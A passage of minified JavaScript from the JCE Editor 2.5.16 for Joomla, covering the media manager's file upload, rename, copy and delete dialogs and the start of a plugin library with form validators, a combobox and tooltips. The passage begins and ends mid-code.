$(this).attr('href',s);});$('object',$(tmpDiv)).each(function(){$('param[name=movie], param[name=src]',this).each(function(){var s=toRelative($(this).attr('value'));if(!/http(s)?:\/\//.test(s)){s=string.path(site,s);}
$(this).attr('value',s);});});iframe.contentWindow.document.body.innerHTML=tmpDiv.innerHTML;}});}}
break;case'upload':this._dialog['upload']=$.Dialog.upload($.extend({elements:this._getDialogOptions('upload'),onOpen:function(){$('#upload-options:empty').hide();$('#upload-dir').val(dir);function _checkName(file){var found=false,msg=self._translate('file_exists_alert','A file with the same name exists in the target folder.');var name=$.String.safe(file.name,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);$('li','file-list').each(function(){if(name==$(this).attr('title')){found=true;}});var el=file.element,span=$('span.queue-name:first',el);if(found){if(!$(el).hasClass('exists')){$(el).addClass('exists');$(span).attr('title',name+'::'+msg);$(span).tips();}}else{if($(el).hasClass('exists')){$(el).removeClass('exists');$(span).attr('title',name);}}
return true;}
$('#upload-queue').uploader($.extend({swf:site+'components/com_jce/editor/libraries/plupload/plupload.flash.swf',xap:site+'components/com_jce/editor/libraries/plupload/plupload.silverlight.xap',url:$('form:first').attr('action'),field:$('input[name=file]:first'),fileSelect:function(e,file){return _checkName(file);},websafe_mode:self.options.websafe_mode,websafe_spaces:self.options.websafe_spaces,websafe_textcase:self.options.websafe_textcase,fileRename:function(e,file){return _checkName(file);},fileComplete:function(e,file){if($.type(file)=='string'){file={name:file};}
self._addReturnedItem(file);self._trigger('onUploadFile',null,file);},uploadComplete:function(up,files){$('#upload-submit').disabled=false;if(up.total==files.length&&$('#upload-queue').uploader('getErrors')==0){self._getList();window.setTimeout(function(){$(self._dialog['upload']).dialog('close');},1000);self._trigger('onUploadComplete');}}},self.options.upload));self._trigger('onUploadOpen');},dragStop:function(){$('#upload-queue').uploader('refresh');},upload:function(){if($('#upload-queue').uploader('isUploading')){return false;}
var data={'action':'upload','format':'raw'},fields=$.merge($(':input','form').serializeArray(),$(':input','#upload-body').serializeArray());$.each(fields,function(i,field){data[field.name]=field.value;});self._trigger('onUpload',null,data);$('#upload-queue').uploader('upload',data);return false;},beforeClose:function(){$('#upload-queue').uploader('close');},resize:function(){$('#upload-queue').uploader('refresh');}},self.options.upload.dialog));break;case'folder_new':var elements=this._getDialogOptions('folder_new');this._dialog['folder_new']=$.Dialog.prompt(self._translate('folder_new','New Folder'),{text:self._translate('name','Name'),elements:elements,height:elements?200:150,confirm:function(v){if(v){self._setLoader();var args=[dir,$.String.safe(v,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase)];$(':input:not(input[name="prompt"])',$(self._dialog['folder_new']).dialog('widget')).each(function(){args.push($(this).val());});$.JSON.request('folderNew',args,function(o){if(o){self._trigger('onFolderNew');$(self._dialog['folder_new']).dialog('close');}
self.refresh();});}}});break;case'copy':case'cut':this._pasteaction=name;this._pasteitems=list;this._showPasteButton();break;case'paste':var fn=(this._pasteaction=='copy')?'copyItem':'moveItem';this._setLoader();var items=this._pasteitems;$.JSON.request(fn,[items,dir],function(o){if(o){if(o.folders.length){if(self._treeLoaded()){$.each(items.split(','),function(i,item){if(fn=='moveItem'){$(self.options.dialog.tree).tree('removeNode',item);}});}}
self._trigger('onPaste');}
self._clearPaste();self.refresh();});break;case'delete':var msg=self._translate('delete_item_alert','Delete Selected Item(s)');this._dialog['confirm']=$.Dialog.confirm(msg,function(state){if(state){self._setLoader();$.JSON.request('deleteItem',list,function(o){if(o){if(o.folders.length){if(self._treeLoaded()){$.each(list.split(','),function(i,item){$(self.options.dialog.tree).tree('removeNode',item);});}
self._trigger('onFolderDelete',null,o.folders);}
if(o.files.length){self._trigger('onFileDelete',null,o.files);}}
self.refresh();});}});break;case'rename':var s=this.getSelectedItems(0);var v=$.String.basename(list);if($(s).hasClass('file')){v=$.String.basename($.String.stripExt(list));}
this._dialog['rename']=$.Dialog.prompt(self._translate('rename','Rename Item'),{text:self._translate('name','Name'),value:v,elements:this._getDialogOptions('rename'),confirm:function(name){name=$.String.safe(name,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);if(v==name){$.Dialog.alert(self._translate('rename_item_name_new','Please specify a new name for the item'));return false;}
self._dialog['confirm']=$.Dialog.confirm(self._translate('rename_item_alert','Renaming files/folders will break existing links. Continue?'),function(state){if(state){self._setLoader();var args=[list,name];$(':input:not(input[name="prompt"])',$(self._dialog['rename']).dialog('widget')).each(function(){args.push($(this).val());});$(self._dialog['rename']).dialog('close');$.JSON.request('renameItem',args,function(o){if(o){self._reset();var item=$.String.path(self._dir,name);if(o.folders.length){if(self._treeLoaded()){$(self.options.dialog.tree).tree('renameNode',list,item);}
self._trigger('onFolderRename',null,list,item);}
if(o.files.length){self._trigger('onFileDelete',null,item);}
if(item){self._addReturnedItem({name:item});}}
self.refresh();});}});}});break;}},_raiseError:function(error){var self=this,err='';switch($.type(error)){case'array':err+='<ul class="error-list">';$.each(error,function(k,v){err+='<li>'+v+'</li>';});err+='</ul>';break;case'string':default:err=error;break;}
this._dialog['alert']=$.Dialog.alert(err,{close:function(){self.refresh();}});},_addActions:function(actions){var self=this;$.each(actions,function(i,action){self._addAction(action);});},_addAction:function(o){var self=this,name=o.name||'',fn=this._execute;if(o.action){fn=o.action;}
var action=document.createElement('span');$(action).addClass('action');if(name){$(action).attr({'id':name,'title':o.title,'role':'button','labelledby':name+'_label'}).addClass(name).append('<span id="'+name+'_label" aria-hidden="true">'+o.title+'</span>');if(o.icon){$(action).css('background-image',$.String.path($.Plugin.getPath(),o.icon));}
if(o.name){$(action).click(function(){if($.type(fn)=='function'){return fn.call(self,name);}
return self._trigger(fn,name);});}
this._actions[name]=action;}
$(this.options.dialog.actions).append('<span class="spacer"></span>').append(action);if(!$.support.cssFloat&&!window.XMLHttpRequest){$(action).hover(function(){$(this).addClass('hover');},function(){$(this).removeClass('hover');});}},_getAction:function(name){return this._actions[name];},_addButtons:function(buttons){var self=this;if(buttons){if(buttons.folder){$.each(buttons.folder,function(i,button){if(button){self._addButton(button,'folder');}});}
if(buttons.file){$.each(buttons.file,function(i,button){if(button){self._addButton(button,'file');}});}}},_addButton:function(o,type){var self=this,dialog=this.options.dialog,fn=this._execute;if(o.action){fn=o.action;}
var button=$('div.'+o.name,$(dialog.buttons));if(!button.length){button=document.createElement('div');$(button).attr({'title':o.title,'role':'button','aria-labelledby':o.name+'_label'}).append('<span id="'+o.name+'_label" aria-hidden="true">'+o.title+'</span>');if(o.icon){$(button).css('background-image',$.String.path($.Plugin.getPath(this.options.plugin),o.icon));}
if(o.name){var n=o.name;$(button).click(function(){if($('li.selected','#item-list').length||self._pasteitems){if(o.sticky){$(button).toggleClass('ui-state-active');}
if($.type(fn)=='function'){return fn.call(self,n,type);}
return self._trigger(fn,type);}});}
if(!$.support.cssFloat&&!window.XMLHttpRequest){$(button).hover(function(){$(this).addClass('hover');},function(){$(this).removeClass('hover');});}
$(dialog.buttons).append(button);$(button).addClass('button '+o.name+' hide');}
this._buttons[type][o.name]={'name':o.name,'element':button,'trigger':o.trigger,'multiple':o.multiple,'single':$.type(o.single)==='undefined'?true:o.single,'restrict':o.restrict||'','sticky':o.sticky};},_hideAllButtons:function(){var self=this;$('div.button').each(function(){self._hideButton(this);});},_hideButtons:function(buttons){var self=this;$.each(buttons,function(i,button){self._hideButton(button);});},_hideButton:function(button){$(button).removeClass('show').addClass('hide').attr('aria-hidden',true);},_showButtons:function(){var self=this;this._hideAllButtons();var folder=$('li.folder.selected','#item-list');var file=$('li.file.selected','#item-list');if(file.length&&folder.length){var buttons={};var filebtns=this._buttons['file'];var folderbtns=this._buttons['folder'];$.each(filebtns,function(k,o){if(!o.trigger&&o.multiple){if(folderbtns[k]){buttons[k]=o;}}});$.each(folderbtns,function(k,o){if(!o.trigger&&o.multiple){if(filebtns[k]){buttons[k]=o;}}});$.each(buttons,function(k,o){self._showButton(o.element,o.single,true);});}else{var type=file.length?'file':'folder';$.each(this._buttons[type],function(k,o){if(!o.trigger&&!o.restrict){self._showButton(o.element,o.single,o.multiple);}
if(o.restrict){var re=o.restrict.replace(/,/g,'|');var item=self.getSelectedItems(0);if(new RegExp('\\.('+re+')$','i').test($(item).attr('title'))){self._showButton(o.element,o.single,o.multiple);}}});}
if(this._pasteitems){this._showPasteButton();}},_showButton:function(button,single,multiple){if(button){var show=false,n=$('li.selected','#item-list').length;if(n>1){if(multiple){show=true;}}else{if(single){show=true;}}
$(button).toggleClass('hide',!show).toggleClass('show',!show);if(!show){$(button).attr('aria-hidden',false);}}},_getButton:function(type,name){return this._buttons[type][name]||null;},_showPasteButton:function(){this._showButton($('div.paste','#browser-buttons'),true,true);},_isSelectedItem:function(el){return $(el).is('li.selected');},_deselectItems:function(){var dialog=this.options.dialog;$('li.selected','#item-list').removeClass('selected active').children('span.checkbox').removeClass('checked').attr('aria-checked',false);$(dialog.info).empty();$(dialog.comments).empty();var nav=dialog.nav;$.each([nav+'-left',nav+'-right',nav+'-text'],function(i,el){$(el).css('visibility','hidden').attr('aria-hidden',true);});this._hideAllButtons();$('span.checkbox','#check-all').removeClass('checked');},_selectItems:function(items,show){$(items).addClass('selected').children('span.checkbox').addClass('checked').attr('aria-checked',true);if(show){this._showSelectedItems();}
var $list=$('#item-list');if($('span.checked',$list).length==$('li',$list).length){$('span.checkbox','#check-all').addClass('checked').attr('aria-checked',true);}
this._trigger('onSelectItems',null,items);},_removeSelectedItems:function(items,show){$(items).removeClass('selected').children('span.checkbox').removeClass('checked').attr('aria-checked',false);if(show){this._showSelectedItems();}
this._trigger('onRemoveItems',null,items);},getSelectedItems:function(key){var $items=$('li.selected','#item-list');return $items.get(key)||$items;},setSelectedItems:function(items){this._findItem(items);},_setSelectedItems:function(e,multiple){var checkbox=false;var el=e.target;var $list=$('#item-list');if(e.type=='keydown'){el=$('li.selected:last',$list).get(0);$list=$(this.options.dialog.list);if(e.which==38){el=el.previousSibling;}
if(e.which==40){el=el.nextSibling;}
if(!el){return;}
if(el.offsetTop>$list.innerHeight()||el.offsetTop<$list.scrollTop()){$list.scrollTop((el.offsetTop+$(el).innerHeight())-$list.height());}}
if($(el).hasClass('checkbox')){multiple=true;checkbox=true;}
if(el.nodeName!='LI')
el=el.parentNode;var selected=$('li.selected',$list);if(this._isSelectedItem(el)&&selected.length==1){e.preventDefault();return false;}
var items=$('li.folder, li.file',$list);var ctrl=(e.ctrlKey||e.metaKey),shift=e.shiftKey;if(!ctrl&&!shift&&!checkbox||!multiple){$('span.checkbox',el).removeClass('checked').attr('aria-checked',false);this._deselectItems();this._selectItems([el],true);}else if(multiple&&(ctrl||shift||checkbox)){if(ctrl||checkbox){if(this._isSelectedItem(el)){this._removeSelectedItems([el],true);}else{this._selectItems([el],true);}}
if(shift){if(selected.length){var si=$(el,selected).index();var ci=$(el,items).index();var selection=[];this._deselectItems();if(ci>si){for(var i=ci;i>=si;i--){selection.push(items[i]);}}else{for(var i=si;i>=ci;i--){selection.push(items[i]);}}
this._selectItems(selection,true);}else{this._selectItems([el],true);}}}},_showSelectedItems:function(){var $items=$('li.selected','#item-list'),n=$items.length;if(!n){this._reset();}else{$items.first().addClass('active');this._showItemDetails();}},_findItem:function(files,type){var self=this,items=[];type=type||'file';if($.type(files)=='string'){files=[files];}
var insert=false;var $list=$('#item-list');var base=self.getBaseDir();$.each(files,function(i,file){if(file&&file.name){var name=decodeURIComponent(file.name);if($list.length){var item=[];item=$('li.'+type+'[title="'+$.String.basename(name)+'"], li.'+type+'[data-url="'+$.String.path(base,name)+'"]',$list);if(item.length){if(file.insert){insert=true;items=item;self._trigger('onFileClick',null,$(item).get(0));}
if(!insert){$.merge(items,item);}}}}});if(items.length){var top=$(items).get(0).offsetTop-2;$(this.options.dialog.list).animate({scrollTop:Math.round(top)},1500);}
this._selectItems(items,true);},_serializeSelectedItems:function(){var self=this;return $('li.selected','#item-list').map(function(){return $.String.path(self._dir,$(this).attr('title'));}).get().join(',');},_showItemDetails:function(){var self=this,$items=$('li.selected','#item-list'),n=$items.length;var $nav=$('#browser-details-nav');if(n>1){var index=$items.index($items.filter('.active'));if(index){$('span.details-nav-left',$nav).addClass('visible').attr('aria-hidden',false);}else{$('span.details-nav-left',$nav).removeClass('visible').attr('aria-hidden',true);}
if(index+1<n){$('span.details-nav-right',$nav).addClass('visible').attr('aria-hidden',false);}else{$('span.details-nav-right',$nav).removeClass('visible').attr('aria-hidden',true);}
$('span.details-nav-text',$nav).addClass('visible').html(function(){return self._translate('one_of_many','%o of %m').replace('%o',index+1).replace('%m',n);});}else{$('span',$nav).removeClass('visible').attr('aria-hidden',true);}
this._showButtons();this._getItemDetails();},_getDimensions:function(file){var img=new Image();var src=$.String.path($.Plugin.getURI(),$(file).data('url'));$(file).addClass('loading disabled').children('span.checkbox').addClass('disabled');img.onload=function(){$(file).attr({'data-preview':src,'data-width':img.width,'data-height':img.height});$(file).removeClass('loading disabled').children('span.checkbox').removeClass('disabled');};img.onerror=function(){$(file).removeClass('loading disabled').children('span.checkbox').removeClass('disabled');};img.src=src;},_getItemDetails:function(){var self=this,dialog=this.options.dialog;var item=$('li.selected.active','#item-list');var title=$.String.basename($(item).attr('title'));var type=$(item).hasClass('folder')?'folder':'file';$(dialog.info).empty().addClass('loader');var path=$.String.path(this._dir,$.String.encodeURI(title));var callback=function(){var name=title,ext='';$(self.element).next('span.loader').remove();if(type=='file'){name=$.String.stripExt(title);ext=$.String.getExt(title)+' ';}
var info=document.createElement('dl');$(info).append('<dt>'+name+'</dt><dd>'+ext+self._translate(type,$.String.ucfirst(type))+'</dd><dd id="info-properties"><dl></dl></dd>');if($(item).data('preview')){$(info).append('<dd id="info-preview"></dd>');}
$(dialog.info).removeClass('loader').empty().append(info);var comments='';if($(item).hasClass('notwritable')){comments+='<li class="comments '+type+' notwritable">'+'<span class="hastip" title="'+self._translate('notwritable_desc','Unwritable')+'">'+self._translate('notwritable','Unwritable')+'</span>'+'</li>';}
if($(item).hasClass('notsafe')){comments+='<li class="comments '+type+' notsafe">'+'<span class="hastip" title="'+self._translate('bad_name_desc','Bad file or folder name')+'">'+self._translate('bad_name','Bad file or folder name')+'</span>'+'</li>';}
if($(item).data('trigger')){$.each($(item).data('trigger').split(','),function(i,v){if(v!==''){var button=self._getButton(type,v);if(button){self._showButton(button.element,button.single,button.multiple);}}});}
$.each($(item).data(),function(k,v){if(/^(preview|trigger|width|height|url)$/.test(k)){return;}
if(k=='size'){v=$.String.formatSize(v);}
if(k=='modified'){v=$.String.formatDate(v,self.options.date_format);}
$('#info-properties dl').append('<dd id="info-'+k.toLowerCase()+'">'+self._translate(''+k,k)+': '+v+'</dd>');});if($(item).data('width')&&$(item).data('height')){$('#info-properties dl').append('<dd id="info-dimensions">'+self._translate('dimensions','Dimensions')+': '+$(item).data('width')+' x '+$(item).data('height')+'</dd>');}
if($(item).data('preview')){$('#info-preview').empty().append('<dl>'+'<dt>'+self._translate('preview','Preview')+': </dt>'+'<dd class="loader"></dd>'+'</dl>');var src=decodeURIComponent($(item).data('preview'));var img=new Image();img.onload=function(){var w=img.width;var h=img.height;if(!$('#info-dimensions').length){$('#info-properties dl').append('<dd id="info-dimensions">'+self._translate('dimensions','Dimensions')+': '+w+' x '+h+'</dd>');}
if($.support.backgroundSize){$('dd','#info-preview').css('background-image','url("'+img.src+'")');if(w>100||h>80){$('dd','#info-preview').addClass('resize');}}else{var dim=$.Plugin.sizeToFit(img,{width:100,height:80});$('dd','#info-preview').append($(img).attr('alt',self._translate('preview','Preview')).css(dim));}
$('dd','#info-preview').removeClass('loader');};img.onerror=function(){$('dd',$('#info-preview')).removeClass('loader').addClass('preview-error');};src=/:\/\//.test(src)?src:$.String.encodeURI(src)+'?'+new Date().getTime();img.src=src;}
if(comments){$(dialog.comments).empty().append('<ul>'+comments+'</ul>');}
$('span.hastip',$(dialog.comments)).tips();var cb=(type=='folder')?'onFolderDetails':'onFileDetails';self._trigger(cb,null,item);};if(!$(item).data('url')&&type==="file"){$(this.element).after('<span class="loader" />');$.JSON.request('getFileDetails',[path],function(o){if($.isPlainObject(o)){$(item).data('url',o.url||'').data('preview',o.preview||o.url||'');}
callback();},this);}else{callback();}},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.MediaManager,{version:"2.5.16"});})(jQuery);editor/libraries/js/plugin.full.js000060400000225151150751770440013233 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
(function($){var docElement=document.documentElement;var smile=':)';var $input=document.createElement('input');var $div=document.createElement('div');$.support.input={};$.support.input.attr=(function(at){var o={},i;for(i=0,n=at.length;i<n;i++){o[at[i]]=!!(at[i]in $input);}
return o;})('placeholder max min pattern number'.split(' '));$.support.input.type=(function(props){var o={};for(var i=0,bool,inputElemType,defaultView,len=props.length;i<len;i++){$input.setAttribute('type',inputElemType=props[i]);bool=$input.type!=='text';if(bool){$input.value=smile;$input.style.cssText='position:absolute;visibility:hidden;';if(/^range$/.test(inputElemType)&&$input.style.WebkitAppearance!==undefined){docElement.appendChild($input);defaultView=document.defaultView;bool=defaultView.getComputedStyle&&defaultView.getComputedStyle($input,null).WebkitAppearance!=='textfield'&&($input.offsetHeight!==0);docElement.removeChild($input);}else if(/^(search|tel)$/.test(inputElemType)){}else if(/^(url|email)$/.test(inputElemType)){bool=$input.checkValidity&&$input.checkValidity()===false;}else if(/^color$/.test(inputElemType)){docElement.appendChild($input);docElement.offsetWidth;bool=$input.value!=smile;docElement.removeChild($input);}else{bool=$input.value!=smile;}}
o[props[i]]=!!bool;}
return o;})('search tel url email datetime date month week time datetime-local number range color'.split(' '));$.support.draggable=(function(){return'draggable'in $div;});$.fn.drag=function(){if(!$.support.draggable){$(this).draggable({axis:$(this).data('axis')});}else{$(this).bind('dragstart',function(e){e.dataTransfer.setData('Text',this.id);});}
return this;};$.fn.range=function(){if(!$.support.input.type.range){var self=this;var step=$(this).attr('step')||1;var min=$(this).attr('min');var max=$(this).attr('max');if(typeof min=='undefined'){min=0;}
if(typeof max=='undefined'){max=100;}
var slider=$('<div />').attr({id:$(this).attr('id'),'class':$(this).attr('class'),name:$(this).attr('name')}).slider({min:parseInt(min),max:parseInt(max),step:parseInt(step),value:$(this).val(),slide:function(e,ui){$(self).val(ui.value).change();},start:function(){$(self).mousedown();},stop:function(){$(self).mouseup();}}).insertBefore(this);$(this).hide();return slider;}
return this;};$.fn.number=function(){if(!$.support.input.type.number){return this.change(function(){var v=parseFloat($(this).val()),pv=$(this).attr('placeholder');if(typeof pv=='undefined'){pv='';}
if($.isNumeric(v)===false){$(this).val(pv);}});}
return this;};$.fn.placeholder=function(){if(!$.support.input.attr.placeholder){return this.each(function(){var v=$(this).attr('placeholder'),iv=$(this).val();if(iv===''||iv==v){$(this).addClass('placeholder').val(v).click(function(){if($(this).hasClass('placeholder')){$(this).val('').removeClass('placeholder');}}).blur(function(){iv=$(this).val();if(iv===''||iv==v){$(this).addClass('placeholder').val(v);}});}
$(this).change(function(){iv=$(this).val();if(iv===''){$(this).addClass('placeholder').val(v);}else{$(this).removeClass('placeholder');}});});}
return this;};$.fn.min=function(){if(!$.support.input.attr.min){return this.change(function(){var m=parseFloat($(this).attr('min')),v=parseFloat($(this).val()),pv=$(this).attr('placeholder');if(pv!='undefined'&&pv==v){return this;}
if(v<m){$(this).val(m);}});}
return this;};$.fn.max=function(){if(!$.support.input.attr.max){return this.change(function(){var m=parseFloat($(this).attr('max')),v=parseFloat($(this).val()),pv=$(this).attr('placeholder');if(pv!='undefined'&&pv==v){return this;}
if(v>m){$(this).val(m);}});}
return this;};$.fn.pattern=function(){this.change(function(){var pattern=$(this).attr('pattern'),v=$(this).val(),pv=$(this).attr('placeholder');if(pv!='undefined'&&pv==v){return this;}
if(!new RegExp('^(?:'+pattern+')$').test(v)){var n=new RegExp('('+pattern+')').exec(v);if(n){$(this).val(n[0]);}}});return this;};})(jQuery);var Validator={isEmail:function(s){return this.test(s,'^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$');},isAbsUrl:function(s){return this.test(s,'^(news|telnet|nttp|file|http|ftp|https)://[-A-Za-z0-9\\.]+\\/?.*$');},isSize:function(s){return this.test(s,'^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)?$');},isId:function(s){return this.test(s,'^[A-Za-z_]([A-Za-z0-9_])*$');},isEmpty:function(s){var nl,i;if(s.nodeName=='SELECT'&&s.selectedIndex<1)
return true;if(s.type=='checkbox'&&!s.checked)
return true;if(s.type=='radio'){for(i=0,nl=s.form.elements;i<nl.length;i++){if(nl[i].type=="radio"&&nl[i].name==s.name&&nl[i].checked)
return false;}
return true;}
return new RegExp('^\\s*$').test(s.nodeType==1?s.value:s);},isNumber:function(s,d){return!isNaN(s.nodeType==1?s.value:s)&&(!d||!this.test(s,'^-?[0-9]*\\.[0-9]*$'));},test:function(s,p){s=s.nodeType==1?s.value:s;return s==''||new RegExp(p).test(s);}};var AutoValidator={settings:{id_cls:'id',int_cls:'int',url_cls:'url',number_cls:'number',email_cls:'email',size_cls:'size',required_cls:'required',invalid_cls:'invalid',min_cls:'min',max_cls:'max'},init:function(s){var n;for(n in s)
this.settings[n]=s[n];},validate:function(f){var i,nl,s=this.settings,c=0;nl=this.tags(f,'label');for(i=0;i<nl.length;i++){this.removeClass(nl[i],s.invalid_cls);nl[i].setAttribute('aria-invalid',false);}
c+=this.validateElms(f,'input');c+=this.validateElms(f,'select');c+=this.validateElms(f,'textarea');return c==3;},invalidate:function(n){this.mark(n.form,n);},getErrorMessages:function(f){var nl,i,s=this.settings,field,msg,values,messages=[],ed=tinyMCEPopup.editor;nl=this.tags(f,"label");for(i=0;i<nl.length;i++){if(this.hasClass(nl[i],s.invalid_cls)){field=document.getElementById(nl[i].getAttribute("for"));values={field:nl[i].textContent};if(this.hasClass(field,s.min_cls,true)){message=ed.getLang('invalid_data_min');values.min=this.getNum(field,s.min_cls);}else if(this.hasClass(field,s.number_cls)){message=ed.getLang('invalid_data_number');}else if(this.hasClass(field,s.size_cls)){message=ed.getLang('invalid_data_size');}else{message=ed.getLang('invalid_data');}
message=message.replace(/{\#([^}]+)\}/g,function(a,b){return values[b]||'{#'+b+'}';});messages.push(message);}}
return messages;},reset:function(e){var t=['label','input','select','textarea'];var i,j,nl,s=this.settings;if(e==null)
return;for(i=0;i<t.length;i++){nl=this.tags(e.form?e.form:e,t[i]);for(j=0;j<nl.length;j++){this.removeClass(nl[j],s.invalid_cls);nl[j].setAttribute('aria-invalid',false);}}},validateElms:function(f,e){var nl,i,n,s=this.settings,st=true,va=Validator,v;nl=this.tags(f,e);for(i=0;i<nl.length;i++){n=nl[i];this.removeClass(n,s.invalid_cls);if(this.hasClass(n,s.required_cls)&&va.isEmpty(n))
st=this.mark(f,n);if(this.hasClass(n,s.number_cls)&&!va.isNumber(n))
st=this.mark(f,n);if(this.hasClass(n,s.int_cls)&&!va.isNumber(n,true))
st=this.mark(f,n);if(this.hasClass(n,s.url_cls)&&!va.isAbsUrl(n))
st=this.mark(f,n);if(this.hasClass(n,s.email_cls)&&!va.isEmail(n))
st=this.mark(f,n);if(this.hasClass(n,s.size_cls)&&!va.isSize(n))
st=this.mark(f,n);if(this.hasClass(n,s.id_cls)&&!va.isId(n))
st=this.mark(f,n);if(this.hasClass(n,s.min_cls,true)){v=this.getNum(n,s.min_cls);if(isNaN(v)||parseInt(n.value)<parseInt(v))
st=this.mark(f,n);}
if(this.hasClass(n,s.max_cls,true)){v=this.getNum(n,s.max_cls);if(isNaN(v)||parseInt(n.value)>parseInt(v))
st=this.mark(f,n);}}
return st;},hasClass:function(n,c,d){return new RegExp('\\b'+c+(d?'[0-9]+':'')+'\\b','g').test(n.className);},getNum:function(n,c){c=n.className.match(new RegExp('\\b'+c+'([0-9]+)\\b','g'))[0];c=c.replace(/[^0-9]/g,'');return c;},addClass:function(n,c,b){var o=this.removeClass(n,c);n.className=b?c+(o!=''?(' '+o):''):(o!=''?(o+' '):'')+c;},removeClass:function(n,c){c=n.className.replace(new RegExp("(^|\\s+)"+c+"(\\s+|$)"),' ');return n.className=c!=' '?c:'';},tags:function(f,s){return f.getElementsByTagName(s);},mark:function(f,n){var s=this.settings;this.addClass(n,s.invalid_cls);n.setAttribute('aria-invalid','true');this.markLabels(f,n,s.invalid_cls);return false;},markLabels:function(f,n,ic){var nl,i;nl=this.tags(f,"label");for(i=0;i<nl.length;i++){if(nl[i].getAttribute("for")==n.id||nl[i].htmlFor==n.id)
this.addClass(nl[i],ic);}
return null;}};(function($){$.widget("ui.combobox",{options:{label:'Add Value',change:$.noop},_init:function(options){var self=this;$(this.element).removeClass('mceEditableSelect').addClass('editable');$('<span role="button" class="editable-edit" title="'+this.options.label+'"></span>').insertAfter(this.element).click(function(e){if($(this).hasClass('disabled'))
return;self._onChangeEditableSelect(e);});if($(this.element).is(':disabled')){$(this.element).next('span.editable-edit').addClass('disabled');}},_onChangeEditableSelect:function(e){var self=this;this.input=document.createElement('input');$(this.input).attr('type','text').addClass('editable-input').val($(this.element).val()).insertBefore($(this.element)).width($(this.element).width());$(this.input).blur(function(){self._onBlurEditableSelectInput();}).keydown(function(e){self._onKeyDown(e);});$(this.element).hide();this.input.focus();},_onBlurEditableSelectInput:function(){var self=this,o,found,v=$(this.input).val();if(v!=''){$('option:selected',this.element).prop('selected',false);if($('option[value="'+v+'"]',this.element).is('option')){$(this.element).val(v).change();}else{if(!found){var pattern=$(this.element).data('pattern');if(pattern&&!new RegExp('^(?:'+pattern+')$').test(v)){var n=new RegExp('('+pattern+')').exec(v);v=n?n[0]:'';}
if(v!=''){if($('option[value="'+v+'"]',this.element).length==0){$(this.element).append(new Option(v,v));}
$(this.element).val(v).change();}}}
self.options.change.call(self,v);}else{$(this.element).val('')||$('option:first',this.element).attr('selected','selected');}
$(this.element).show();$(this.input).remove();},_onKeyDown:function(e){if(e.which==13||e.which==27){this._onBlurEditableSelectInput();}},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.combobox,{version:"2.5.16"});})(jQuery);(function($){$.support.canvas=false;var isMobile={Android:function(){return navigator.userAgent.match(/Android/i);},BlackBerry:function(){return navigator.userAgent.match(/BlackBerry/i);},iOS:function(){return navigator.userAgent.match(/iPhone|iPad|iPod/i);},Opera:function(){return navigator.userAgent.match(/Opera Mini/i);},Windows:function(){return navigator.userAgent.match(/IEMobile/i);},any:function(){return(isMobile.Android()||isMobile.BlackBerry()||isMobile.iOS()||isMobile.Opera()||isMobile.Windows());}};$.widget("ui.tips",{options:{speed:150,position:'top center',opacity:0.9,className:'',offsets:{'x':16,'y':16},width:200,fixed:true,parent:'body',trigger:'hover',show:$.noop,hide:$.noop,disabled:':disabled, .disabled'},_init:function(options){var self=this;$.extend(this.options,options);if($(this.element).hasClass('wf-tooltip-cancel-ondrag')){this._cancelOnDrag();}
$(this.element).click(function(e){if(self.options.trigger=='click'&&$(this).is(self.options.disabled)){return;}
if(this.nodeName=='A'||$('a',this).length||$(this).hasClass('wf-tooltip-cancel-ondrag')){return;}
if(self.options.trigger=='click'){if($('#jce-tooltip').is(':visible')){return self._end();}
self._start(e);}
if($('#jce-tooltip').hasClass('sticky')){self._unpin();}else{self._pin();}});if(this.options.trigger=='hover'){$(this.element).hover(function(e){if($('#jce-tooltip').hasClass('sticky')||$(this).hasClass('nohover')){return;}
return self._start(e);},function(e){if($('#jce-tooltip').hasClass('sticky')||$(this).hasClass('nohover')){return;}
return self._end();});}},_createTips:function(){var self=this,$tips=$('#jce-tooltip');if(!$tips.get(0)){$tips=$('<div id="jce-tooltip" role="tooltip" aria-hidden="true">'+'<span class="ui-icon ui-icon-close" title="Close"></span>'+'<div class="jce-tooltip-content"></div>'+'</div>').appendTo(this.options.parent);$('#jce-tooltip').append('<div class="jce-tooltip-pointer"></div>');if($.support.leadingWhitespace===false){$('#jce-tooltip div.jce-tooltip-pointer').append('<div class="jce-tooltip-pointer-inner"></div>');}
$('span.ui-icon-close',$tips).click(function(){self._end();}).hide();if($.support.cssFloat){$tips.css('opacity',0);}}
$tips.removeAttr('class').addClass('jce-tooltip').addClass(this.options.className);},_start:function(e){var self=this;this._createTips();var $tips=$('#jce-tooltip');$tips.data('source',this.element);if(this.options.content){var h=this.options.content;}else{var text=$(this.element).attr('title')||'',title='';if(/::/.test(text)){var parts=text.split('::');title=$.trim(parts[0]);text=$.trim(parts[1]);}
$(this.element).data('title',$(this.element).attr('title')).attr('title','');$(this.element).attr('aria-describedby','jce-tooltip');var h='';if(title){h+='<h4>'+title+'</h4>';}
if(text){h+='<p>'+text+'</p>';}}
$('div.jce-tooltip-content',$tips).html(h);$tips.show().attr('aria-hidden','false');if($.support.cssFloat){$tips.animate({'opacity':this.options.opacity},this.options.speed);}else{if(!window.XMLHttpRequest){$tips.css('width',200);}}
this._trigger('show');window.setTimeout(function(){self._position();$tips.css('visibility','visible');},1);},close:function(){return this._end();},_end:function(){var $tips=$('#jce-tooltip'),element=$tips.data('source')||this.element;if($(element).data('title')){$(element).attr('title',$(element).data('title'));}
$(element).removeAttr('aria-describedby');$tips.css('visibility','hidden').attr('aria-hidden','true').hide();if($.support.cssFloat){$tips.css('opacity',0);}
